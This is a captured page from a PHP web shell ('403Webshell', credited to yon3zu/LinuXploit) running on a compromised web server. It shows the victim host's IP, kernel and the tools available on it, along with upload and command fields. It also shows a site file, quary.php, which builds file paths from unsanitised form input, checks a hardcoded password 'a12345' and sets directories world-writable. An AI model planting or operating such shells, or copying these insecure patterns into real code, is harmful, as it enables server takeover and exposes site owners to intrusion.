403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/prathamtour.com/quary/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/prathamtour.com/quary/quary.php
<?php
// Get data from form 
$theme = $_POST['theme'];
$sitename = $_POST['sitename'];
$sitetitle= $_POST['sitetitle'];
$agencyid= $_POST['agencyid'];
$elastickey= $_POST['elastickey'];
$password= $_POST['password'];
 
 function copy_folder($src, $dst) { 
   
    // open the source directory
    $dir = opendir($src); 
   
    // Make the destination directory if not exist
    @mkdir($dst); 
   
    // Loop through the files in source directory
    foreach (scandir($src) as $file) { 
   
        if (( $file != '.' ) && ( $file != '..' )) { 
            if ( is_dir($src . '/' . $file) ) 
            { 
   
                // Recursively calling custom copy function
                // for sub directory 
                copy_folder($src . '/' . $file, $dst . '/' . $file); 
   
            } 
            else { 
                copy($src . '/' . $file, $dst . '/' . $file); 
            } 
        } 
    } 
   
    closedir($dir);
} 

if($password == 'a12345' &&  $agencyid != NULL) {
	
	 $configs_path = '../application/configs/'.$sitename;
	 $sites_path = '../application/sites/'.$sitename;
	 $upload_path = '../public/upload/'.$sitename;
	 
     $the_mode = '0755';
    	
	    if(is_dir($configs_path)) //or using the single  line code if(is_dir($dir))
			{
				echo "directory exists";
			}
			else
			{
				 mkdir($configs_path,$the_mode, true);
				 mkdir($sites_path,$the_mode, true);
				 mkdir($upload_path,$the_mode, true);
				 mkdir('../public/upload/'.$sitename.'/css',$the_mode, true);
                 mkdir('../public/upload/'.$sitename.'/images',$the_mode, true);
				
				chmod($configs_path, 0755);
				chmod($sites_path, 0755);
				chmod($upload_path, 0777);
				
				
			
				 chmod('../public/upload/'.$sitename.'/css', 0777);
				 chmod('../public/upload/'.$sitename.'/images', 0777);
				 // copy('../application/configs/'.$theme,'../application/configs/'.$sitename);
				 
				echo " directory Created";
		}
      


// Make sure source folder have sufficient permission to read files
$src = '../application/configs/'.$theme;
  
$dst = '../application/configs/'.$sitename;
  
copy_folder($src, $dst);
	
$sites_src = '../application/sites/'.$theme;
  
$sites_dst = '../application/sites/'.$sitename;
  
copy_folder($sites_src, $sites_dst);



$upload_src = '../public/upload/'.$theme.'/css';
  
$upload_dst = '../public/upload/'.$sitename.'/css';
  
copy_folder($upload_src, $upload_dst);	 
	 
	
   
}else{
	echo 'Password Incorrect';
	
}

//if($email != NULL) {
 //   mail($to, $subject, $txt, $headers);
// 
// Redirect to
//header("Location:step2.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit